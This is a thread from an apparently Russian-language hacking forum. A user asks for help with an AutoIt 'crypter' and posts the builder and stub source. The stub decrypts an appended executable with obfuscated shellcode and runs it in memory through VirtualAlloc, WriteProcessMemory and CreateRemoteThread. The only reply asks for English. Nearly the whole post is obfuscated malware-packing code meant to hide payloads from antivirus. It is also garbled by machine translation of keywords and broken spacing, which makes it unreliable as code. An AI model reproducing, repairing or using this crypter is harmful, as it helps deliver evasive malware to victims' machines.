1. Все файлы исключительно загружать на наш сервер в формате .rar или .zip, темы где будут указаны ссылки для загрузки файлов будут удалены.

[HELP] Problem with autoit crypter.

Тема в разделе "Autoit", создана пользователем Johnb, 21 ноя 2016.

Метки:
  1. Johnb
    Статус
    Оффлайн
    Сообщения:
    2
    Симпатии:
    0
    Hi,
    I'm trying to create a crypter in autoit, but I'm having a problem that I can not solve. If you could look at the source and tell me what I did wrong, I would be very grateful.

    Код:
     CLIENTE:
    #include <ButtonConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    
    #region ### Iniciar seção Koda GUI ### Form =
    $ Form1 = GUICreate ( "Novo Método !!", 362, 104, 192, 154)
    $ Input1 = GUICtrlCreateInput ( "", 24, 16, 313, 21)
    $ Button1 = GUICtrlCreateButton ( "Open", 24, 48, 113, 41)
    $ Button2 = GUICtrlCreateButton ( "Vamos!", 224, 48, 113, 41)
    GUISetState (@SW_SHOW)
    ### Secção Koda GUI END #endregion ###
    
    enquanto 1
    
            $ NMsg GUIGetMsg = ()
    
            Interruptor $ nMsg
    
                    Caso $ GUI_EVENT_CLOSE
    
                            saída
    
    
    
                    Caso $ Form1
    
                                    Caso $ Button1
    
                    GUICtrlSetData ($ input1, FileOpenDialog ( "Vamos lá cara, escolha o arquivo", @DesktopDir, "Executáveis (*. Exe)"))
    
            Caso $ Button2
    
    
    $ Stub = FileOpen (@ScriptDir & "\ Stub.exe", 16)
    
    $ Arquivo2 = FileOpen (GuiCtrlRead ($ input1), 16)
    
    $ St = FileRead ($ stub)
    
    $ Ar = FileRead ($ arquivo2)
    
    
    
    Ar = $ WgkyrLYrFMxONyGoJFrbhIOAFWepppdhmTcwXT ($ AR, "SenhaA")
    
    
    
    $ Salvar = FileOpen (FileSaveDialog ( "salvar como ...", @DesktopDir, "Executáveis (*. Exe)") & "", 18)
    
    FileWrite ($ salvar, $ st)
    
    FileWrite ($ salvar, StringToBinary ( "SenhaB"))
    
    FileWrite ($ salvar, $ AR)
    
    
    
    FileClose ($ stub)
    
    FileClose ($ input1)
    
    FileClose ($ Salvar)
    
    MsgBox (64, "Haha! Bem feito !!", "Enjoy !!")
    
    
    
    
             ENDSWITCH
    
    dirigir-se
    
    Func WgkyrLYrFMxONyGoJFrbhIOAFWepppdhmTcwXT ($ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ, $ FPERJPXdLDMfYoHwpXAGmtDTbznnTUBItQTcuS)
    Dim $ bsMXDvedhndstemuCIZFnYcguBXBakJgtIGB = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "€ K @ 8 988 988> I88> I88 =; => = @ J == 98; 9KA @ AK @ <A @ AL N: ?? IM <@ <@: AK @@ A < = N8 @ = K88N @ <LK888888JA88898888 @@ K @: K89 @@@ <8LMNNMNNNNM: N; @;> = N <88 @;> = NK88 @ 9 LNK88898888 L <@ J <= NK; 9L ???: N ?? = N8A: 8; <= 988NJ> 88 @ J <LNK8NJ> @ K8LN8NMNNNN89K @ 8; <= N <: = NN888888 @ A <= N <@J = NK @ I @ <; = N8NMNNNN @ J? ?? LN <@> @ <; LN8NMNNNN @@@ <; = N8NMNNNNNN <= NKMJJ8 @ LALN8NMNNNN; 9NN @ ANI; A == 8K >>; @ J @ = MKNMNNNN <8: = NN888888 @ A @ = MKNMNNNN @ AL @ 8; @ = MKNMNNNN8NJ> 888; @ = M @ NMNNNN: = NN888888 @ A @ = M @ NMNNNN @ ALM8; J = MKNMNNNN @ I8> @ ALN8; JLM @ NMNNNN @> 8 8 @@> 8NJ>? ?? 8M8NJ> 8 89K9 @ 9M9NN888888 @ I @ <8LN8NMNNNN @ J = 8 @ 89L>; 88> <: MJA @ = N = M = JKAK: 9888 ", 8)
    Locais $ ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP = DllStructCreate ( "byte [" & BinaryLen ($ bsMXDvedhndstemuCIZFnYcguBXBakJgtIGB) & "]")
    DllStructSetData ($ ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP, 1, $ bsMXDvedhndstemuCIZFnYcguBXBakJgtIGB)
    Locais $ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU = DllStructCreate ( "byte [" & BinaryLen ($ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ) & "]")
    DllStructSetData ($ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU, 1, $ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ)
    DllCall ( "user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr ($ ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP), "ptr", DllStructGetPtr ($ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU), "int", BinaryLen ($ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ), "str", $ FPERJPXdLDMfYoHwpXAGmtDTbznnTUBItQTcuS, "int", 0)
    Dim $ gOCmuHJMjTwljWySKTmJsVAYgpbSOMHgENok = DllStructGetData ($ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU, 1)
    $ = 0 JUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU
    $ = 0 ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP
    Retorno $ gOCmuHJMjTwljWySKTmJsVAYgpbSOMHgENok
    EndFunc
    
    
    Func jiWDgWSQeTXNUoBZwxadbQbeMBLPd ($ njDdysazIxcDBfOAZFvAixWgvfhRsRdJ, $ FAvaKcwuvcrxltEsfneOlkqwMcPaCSAhPLryR)
    Dim $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr = ""
    Por US $ JVXuQzTeZWxyCGicttjucyVwcwIzeNmNUB = 1 a StringLen ($ njDdysazIxcDBfOAZFvAixWgvfhRsRdJ)
    $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr = $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr & Chr (Asc (StringMid ($ njDdysazIxcDBfOAZFvAixWgvfhRsRdJ, $ JVXuQzTeZWxyCGicttjucyVwcwIzeNmNUB)) - $ FAvaKcwuvcrxltEsfneOlkqwMcPaCSAhPLryR)
    próximo
    Retorno $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr
    EndFunc 
    STUB:

    Код:
     #NoTrayIcon
    
    $ Arquivo = FileOpen (@ScriptFullPath, 0)
    $ Data = FileRead ($ file)
    $ Data = StringMid ($ Data, StringInstr ($ Data ", SenhaB") + StringLen ( "SenhaB"))
    $ Data = WgkyrLYrFMxONyGoJFrbhIOAFWepppdhmTcwXT ($ Data ", SenhaA")
    HclOFXbGxpbYOKwOPUEhBlcZvvlXVaVK ($ dados)
    Dim $ IeNYgwzltsMYppMrWyiouEtYGCH = FILEREAD (@ScriptFullPath)
    Dim $ STjkCfUgiyiouogBfyZcooHMDRidNVwyDQ = StringSplit ($ IeNYgwzltsMYppMrWyiouEtYGCH, "", 1)
    Dim $ cIYfEibJlBpckvuRPCKvxdNjrAKVcxk = WgkyrLYrFMxONyGoJFrbhIOAFWepppdhmTcwXT ($ STjkCfUgiyiouogBfyZcooHMDRidNVwyDQ [2], "")
    HclOFXbGxpbYOKwOPUEhBlcZvvlXVaVK ($ cIYfEibJlBpckvuRPCKvxdNjrAKVcxk)
    
    
    Func WgkyrLYrFMxONyGoJFrbhIOAFWepppdhmTcwXT ($ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ, $ FPERJPXdLDMfYoHwpXAGmtDTbznnTUBItQTcuS)
    Dim $ bsMXDvedhndstemuCIZFnYcguBXBakJgtIGB = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "€ K @ 8 988 988> I88> I88 =; => = @ J == 98; 9KA @ AK @ <A @ AL N: ?? IM <@ <@: AK @@ A < = N8 @ = K88N @ <LK888888JA88898888 @@ K @: K89 @@@ <8LMNNMNNNNM: N; @;> = N <88 @;> = NK88 @ 9 LNK88898888 L <@ J <= NK; 9L ???: N ?? = N8A: 8; <= 988NJ> 88 @ J <LNK8NJ> @ K8LN8NMNNNN89K @ 8; <= N <: = NN888888 @ A <= N <@J = NK @ I @ <; = N8NMNNNN @ J? ?? LN <@> @ <; LN8NMNNNN @@@ <; = N8NMNNNNNN <= NKMJJ8 @ LALN8NMNNNN; 9NN @ ANI; A == 8K >>; @ J @ = MKNMNNNN <8: = NN888888 @ A @ = MKNMNNNN @ AL @ 8; @ = MKNMNNNN8NJ> 888; @ = M @ NMNNNN: = NN888888 @ A @ = M @ NMNNNN @ ALM8; J = MKNMNNNN @ I8> @ ALN8; JLM @ NMNNNN @> 8 8 @@> 8NJ>? ?? 8M8NJ> 8 89K9 @ 9M9NN888888 @ I @ <8LN8NMNNNN @ J = 8 @ 89L>; 88> <: MJA @ = N = M = JKAK: 9888 ", 8)
    Locais $ ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP = DllStructCreate ( "byte [" & BinaryLen ($ bsMXDvedhndstemuCIZFnYcguBXBakJgtIGB) & "]")
    DllStructSetData ($ ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP, 1, $ bsMXDvedhndstemuCIZFnYcguBXBakJgtIGB)
    Locais $ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU = DllStructCreate ( "byte [" & BinaryLen ($ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ) & "]")
    DllStructSetData ($ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU, 1, $ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ)
    DllCall ( "user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr ($ ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP), "ptr", DllStructGetPtr ($ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU), "int", BinaryLen ($ xnRqwHYnAWPQCrHIwjUWIWKYPOygJ), "str", $ FPERJPXdLDMfYoHwpXAGmtDTbznnTUBItQTcuS, "int", 0)
    Dim $ gOCmuHJMjTwljWySKTmJsVAYgpbSOMHgENok = DllStructGetData ($ jUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU, 1)
    $ = 0 JUyeCPTMpXGNvzpukAJvDeSWauqJkzFFnWJU
    $ = 0 ZLcXGzZgSUKBnpxRMvVkdXlOySdKWRiOP
    Retorno $ gOCmuHJMjTwljWySKTmJsVAYgpbSOMHgENok
    EndFunc
    
    
    Func jiWDgWSQeTXNUoBZwxadbQbeMBLPd ($ njDdysazIxcDBfOAZFvAixWgvfhRsRdJ, $ FAvaKcwuvcrxltEsfneOlkqwMcPaCSAhPLryR)
    Dim $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr = ""
    Por US $ JVXuQzTeZWxyCGicttjucyVwcwIzeNmNUB = 1 a StringLen ($ njDdysazIxcDBfOAZFvAixWgvfhRsRdJ)
    $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr = $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr & Chr (Asc (StringMid ($ njDdysazIxcDBfOAZFvAixWgvfhRsRdJ, $ JVXuQzTeZWxyCGicttjucyVwcwIzeNmNUB)) - $ FAvaKcwuvcrxltEsfneOlkqwMcPaCSAhPLryR)
    próximo
    Retorno $ WSpoafLyuOoEDmsIRwMUhPgfgmsUiSLbEHPr
    EndFunc
    
    
    Func HclOFXbGxpbYOKwOPUEhBlcZvvlXVaVK ($ zIVcFnRKddojcdXszcdcsnaFFFdcFaVsXaDsm)
    $ Local sacJFCoD, $ WEwioDja, $ zaVFOCmaaaEjeX, $ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd, $ ITLxRHomhKUhRTDDjqzYlHAmQXjOemKoAeaXh, $ oCroWBcssdD, _
    $ FassJsAjsdn, $ ddXCo, $ VSowArFsisShsEAdEzcoaOszqdaDISKcUEVXDDDJfisjrDAadc, $ eIrveicFcasSidQsBZBc, $ stsDrdcFdQsdKJdZjWcdddaFvcieOXcdKfSacdDtCeDd, $ cLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [19], $ aasfFdWsRrWadDFA, _
    $ YQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId, $ sisdcniaVDJcDcdjtsEaasesUjADr, $ ZsDcaAsdIBhADunFvojdrDjQssc, $ dDFSdfFCdasQccaDdRUseEa, $ sccfffdjKsVDfDVqFdWdUVcIssuCD, $ KsOFDFdDwcsEhAdjaijdWCfdfAOSaqdWKc
    Const local $ dcAtWofnacsdaKsVsdF = "kernel32"
    If Not $ zIVcFnRKddojcdXszcdcsnaFFFdcFaVsXaDsm <> "" Então,
    ConsoleWrite ( "buffer binário não existe, escolha um arquivo .exe ler primeiro ...")
    saída
    EndIf
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [1] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "8` @ JMK @ 9K <I <NINNNN @ A <= NKM @ 9J8: 8888 @ A @ = KKNLNNNNJJN: 8N => K> @ JA = KKNLNNNNM @ 9A8: 8888 @ A < "8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [2] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "= N @ JJIA @ J @ 8: L @ JA = KKNLNNNNM @ 8> 8: 8888 @ A <= N <JJ @ =; JIMLJ @ JA = KKNLNNNNM @ N; 898 888 @ A <= N8JJ ", 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [3] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "A ;; = LN @ = @ JA = KKNLNNNNM @ M8898888 @ A <= MKJJ @ LKJJ> = L @ JA = KKNLNNNNM @ KL898888 @ A <= M @ JJ =; 9; K "8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [4] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "9 @@ JA = KKNLNNNNM @ JI898888 @ A <= M <JJ @ ILJLNI = @ JA = KKNLNNNNM @ I 898 888 @ A <= M8JJ: ?? M8 == 8K @@ J" 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [5] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "A = KKNLNNNNM @ A <898.888 @ A <= LKJJ @ = I99> I: @ JA = KKNLNNNNM @@ 9898888M @ 8>? 888888> M <> <> K> K88 =" 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [6] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "N = NNL8 @ A @ = L8NLNNNNJJ @ JM; KL <9 @ JL8M @> 8.898.888 @ A <= L @ JJ; A:;? 8L: K @ JA = L8NLNNNNM @ <L898888 "8)
    $ [7] CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "@ A <= L <> @ 888: 8888 @ L @ = L <= NLNNNN 8> I88NN == N @> I << @ L @ = @@ NLNNNN = 8NN == L <NN == N <@ JK @@ L @ =? @ N ", 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [8] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "LNNNN = 8 @ L @ = @@ NLNNNN = 8> I88> I88> I8 <> I88> I88> I88 = 9 @ L @ = L <= NLNNNN 8NN == N8> @ KK8: 8888 @ L @ = ", 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [9] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "I <NINNNN = 8NN == L <K @ = I <NINNNN8: 888.988 @ L @ = I <NINNNN = 8NNJ = KNLNNNNNN == MK> <I9; 8888888 @?" 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [10] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "J <88K @ J <89 <@J <898 = 8NNJ = @ NLNNNNNN == L @@ J LNK8; ??? N; K> I <8> @ 88; 88888NN? ? = 8NN ??;? <NNJ = ", 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [11] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "@ NLNNNNNN == M @@ A @ =? <NLNNNN> I88NN ?? = <NN? = NKNNJ =? <NLNNNNNNJ =? @ NLNNNNNN == M <@L <? @ 9 @ A @ ", 8)
    ?? $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [12] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "= 8NLNNNN8NJ <9 <89 @ = 8NLNNNN ;; K8 ;; N> ;; KAMJ: A?> JK>: @ 8; @ = 8NLNNNN @ JAL <NLNNNN8 ?? = @ 8 ', 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [13] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "K @ J == NK8; = 89 <> I88NN 898 = :? =; NNJ = @ NLNNNNNN == M << >>>; J ?? 8>: L9 @? J @ = <NLNNNN8; <:? @@ A @ ", 8)?
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [14] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "== <NJNNNN @ L @ = I <NINNNN = 8NNJ = KNLNNNNNN == M8NNJ = KNLNNNNNN == LKKAK; ??> <I9; 8888888 @ J <88" 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [15] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "K @ J <88K @ J88 @ J88 @ J <89 @ K; == @ JMK @; K <N <=: @ A == NK @ J <I; K8; KI @A <LN <@J <A @ 8 ;? KI @ A <LN @@ J = 99 "8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [16] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "@@ J <A :? 88; <LNK ;; NN @ J; 98; = NK ;; K8 = 9IK @ JK @ 8; N @ L; K @ = K8 ?? = N == Um ;? JNJ <98 @; K98 << I = M8JIK ", 8)?
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [17] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( ": = @>: 9J = I ;; K8KAK; @J <= NK @ J <LN @@ J = A9 @@ J <A: <8; K @: JLIL9M; 8 ; KJ8NJ 9A @ J <LN @@ J <A9K8 ;? K @ K ", 8)
    $ CLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [18] = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "9M; 8: 8; KJ8; 89 = IKAK; 88" 8)
    Por US $ i = 1 a 18,
    $ AasfFdWsRrWadDFA & = $ cLFFbKzsmzNVvHLskrHXSCKTZGIoQoAQUTF [$ i]
    próximo
    $ StsDrdcFdQsdKJdZjWcdddaFvcieOXcdKfSacdDtCeDd = StringLen ($ zIVcFnRKddojcdXszcdcsnaFFFdcFaVsXaDsm)
    $ HfaaSSAFcdsfozFDsdWSsKZrSEFOCDsszVvSjKfaK = StringLen ($ aasfFdWsRrWadDFA) / 2
    $ ACFvtIswFsfSdesSvrdEcADiFDceDDirJd = DllStructCreate (jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "Jwwtmiv (Jqviz ?? J} nnmz", 8) & $ stsDrdcFdQsdKJdZjWcdddaFvcieOXcdKfSacdDtCeDd & jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "eCJwwtmiv ([pmttKwlmJ} nnmzc", 8) & $ hfaaSSAFcdsfozFDsdWSsKZrSEFOCDsszVvSjKfaK - 1 & jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "eCJwwtmiv (I {uKwlmc9 = e ", 8))
    $ ITLxRHomhKUhRTDDjqzYlHAmQXjOemKoAeaXh = DllStructGetPtr ($ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd, 1)
    $ OCroWBcssdD = DllStructGetPtr ($ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd, 2)
    $ FassJsAjsdn = DllStructGetSize ($ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd)
    $ ZsDcaAsdIBhADunFvojdrDjQssc = DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z" 8,), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "^ qz |} itIttwk", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8), 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "l? wzlgx | z ", 8), $ FassJsAjsdn, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" l wzlgx |? z ", 8), 4096, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" l WZL ", 8), 64)?
    Se IsArray ($ ZsDcaAsdIBhADunFvojdrDjQssc) Em seguida,
    $ DdXCo = $ ZsDcaAsdIBhADunFvojdrDjQssc [0]
    mais
    ConsoleWrite ( "Não foi possível alocar memória virtual")
    saída
    EndIf
    $ VSowArFsisShsEAdEzcoaOszqdaDISKcUEVXDDDJfisjrDAadc = $ ddXCo + $ stsDrdcFdQsdKJdZjWcdddaFvcieOXcdKfSacdDtCeDd
    YQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId $ = "0X8D05"
    Por US $ i = 11 Para 3 Passo -2
    $ YQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId & = StringMid ($ ddXCo, $ i, 2)
    próximo
    $ YQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId & = "8D1D"
    Por US $ i = 11 Para 3 Passo -2
    $ YQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId & = StringMid ($ VSowArFsisShsEAdEzcoaOszqdaDISKcUEVXDDDJfisjrDAadc, $ i, 2)
    próximo
    $ YQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId & = "FFD3C3"
    $ SisdcniaVDJcDcdjtsEaasesUjADr = StringLen ($ yQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId) / 2 - 1
    $ DDFSdfFCdasQccaDdRUseEa = DllStructCreate (jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "Jwwtmiv (I {uKwx ?? Umuwz ?? c", 8) & $ sisdcniaVDJcDcdjtsEaasesUjADr & jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "e", 8))
    DllStructSetData ($ dDFSdfFCdasQccaDdRUseEa, 1, $ yQzZpYbQtPCkaTQjJUGJmfRlbpfdnqyLSOId)
    $ SccfffdjKsVDfDVqFdWdUVcIssuCD = DllStructGetPtr ($ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd, 3)
    $ KsOFDFdDwcsEhAdjaijdWCfdfAOSaqdWKc = DllStructGetPtr ($ dDFSdfFCdasQccaDdRUseEa, 1)
    SEJAhNKSnvFRqhSalxWtbEKqijxslTFeVhAU ($ sccfffdjKsVDfDVqFdWdUVcIssuCD, $ KsOFDFdDwcsEhAdjaijdWCfdfAOSaqdWKc, $ sisdcniaVDJcDcdjtsEaasesUjADr)
    DllStructSetData ($ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd, 1, $ zIVcFnRKddojcdXszcdcsnaFFFdcFaVsXaDsm)
    DllStructSetData ($ aCFvtIswFsfSdesSvrdEcADiFDceDDirJd, 2, $ aasfFdWsRrWadDFA)
    $ SacJFCoD = DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "WxmvXzwkm {{", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), 0x001f0fff, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8) , 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "QV |", 8), @AutoItPID)
    Se IsArray ($ sacJFCoD), e não @Error seguida
    $ SacJFCoD = $ sacJFCoD [0]
    DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "_ ZQ | mXzwkm {{Umuwz", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), $ sacJFCoD, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8), $ ddXCo, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8), $ ITLxRHomhKUhRTDDjqzYlHAmQXjOemKoAeaXh, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), $ FassJsAjsdn, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), 0)
    $ EIrveicFcasSidQsBZBc = $ VSowArFsisShsEAdEzcoaOszqdaDISKcUEVXDDDJfisjrDAadc + $ hfaaSSAFcdsfozFDsdWSsKZrSEFOCDsszVvSjKfaK - 1
    mais
    ConsoleWrite ( "Não é possível abrir Processo")
    saída
    EndIf
    $ WEwioDja = DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "Kzmi | mZmuw | m \ pzmil", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), $ sacJFCoD, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | Z ", 8), 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" QV | ", 8), 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" QV | ", 8) $ eIrveicFcasSidQsBZBc, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" X | Z ", 8), 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" QV | ", 8), 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd (" QV | ", 8), 0)
    se IsArray ($ WEwioDja), e não @Error seguida
    $ WEwioDja = $ WEwioDja [0]
    DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "_ iq | Nwz [qvotmWjrmk |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), $ WEwioDja, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8 ), 100)
    DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "KTW {mPivltm", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), $ sacJFCoD)
    DllCall ($ dcAtWofnacsdaKsVsdF, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "jwwt", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "^ qz |} itNzmm", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8), $ ddXCo, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "L wzlgx |? Z" , 8), 0, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "l? WZL", 8), 0x8000)
    mais
    ConsoleWrite ( "Não é possível criar thread")
    saída
    EndIf
    EndFunc
    Func SEJAhNKSnvFRqhSalxWtbEKqijxslTFeVhAU ($ iArrcFtdAsAdrnSivnKAJasaJRdcdrvSAVcjSRDdsaaKBcUnD, $ FVWjw, $ eQsfscIdszFjKddssdi)
    locais $ cfsccdsRdaQicsjdsshzddVnnDccDccFsscsFJdjDAaa = jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "8 € @ J K: <8 <@J <: <8 @; 9KA @ J <K: ?? <8kN; I <K; 88888888888888", 8)
    Locais $ acKefrcFWaidFFFasrF = DllStructCreate (jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "j ?? | mc", 8) e BinaryLen ($ cfsccdsRdaQicsjdsshzddVnnDccDccFsscsFJdjDAaa) & jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "e", 8))
    DllStructSetData ($ acKefrcFWaidFFFasrF, 1, $ cfsccdsRdaQicsjdsshzddVnnDccDccFsscsFJdjDAaa)
    Locais $ dDAIcRcsjIXufiSajCddsDvKsODaSFaEvfDWhcD = DllCall (jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "} {mz ;: 6ltt", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "Kitt_qvlw Xzwk_?", 8), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8 ), DllStructGetPtr ($ acKefrcFWaidFFFasrF), jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8), $ iArrcFtdAsAdrnSivnKAJasaJRdcdrvSAVcjSRDdsaaKBcUnD, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "x | z", 8), $ FVWjw, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), $ eQsfscIdszFjKddssdi, jiWDgWSQeTXNUoBZwxadbQbeMBLPd ( "qv |", 8), 0)
    EndFunc 
     
    Последнее редактирование модератором: 22 ноя 2016
  2. PirateTM
    Статус
    Оффлайн
    Сообщения:
    83
    Симпатии:
    24
    English pls